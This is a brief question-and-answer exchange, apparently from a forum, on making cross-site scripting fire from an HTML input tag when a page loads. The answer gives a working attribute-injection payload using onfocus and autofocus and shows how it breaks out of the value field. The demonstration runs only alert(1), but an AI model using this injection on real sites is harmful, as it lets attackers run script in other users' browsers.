How to launch XSS code from an INPUT HTML tag upon page load?
Try this:
" onfocus="alert(1)" autofocus="
It will expand to:
<input type="text" id="search-text" name="query" value="" onfocus="alert(1)" autofocus="" />
Which will cause an alert box, demonstrating XSS.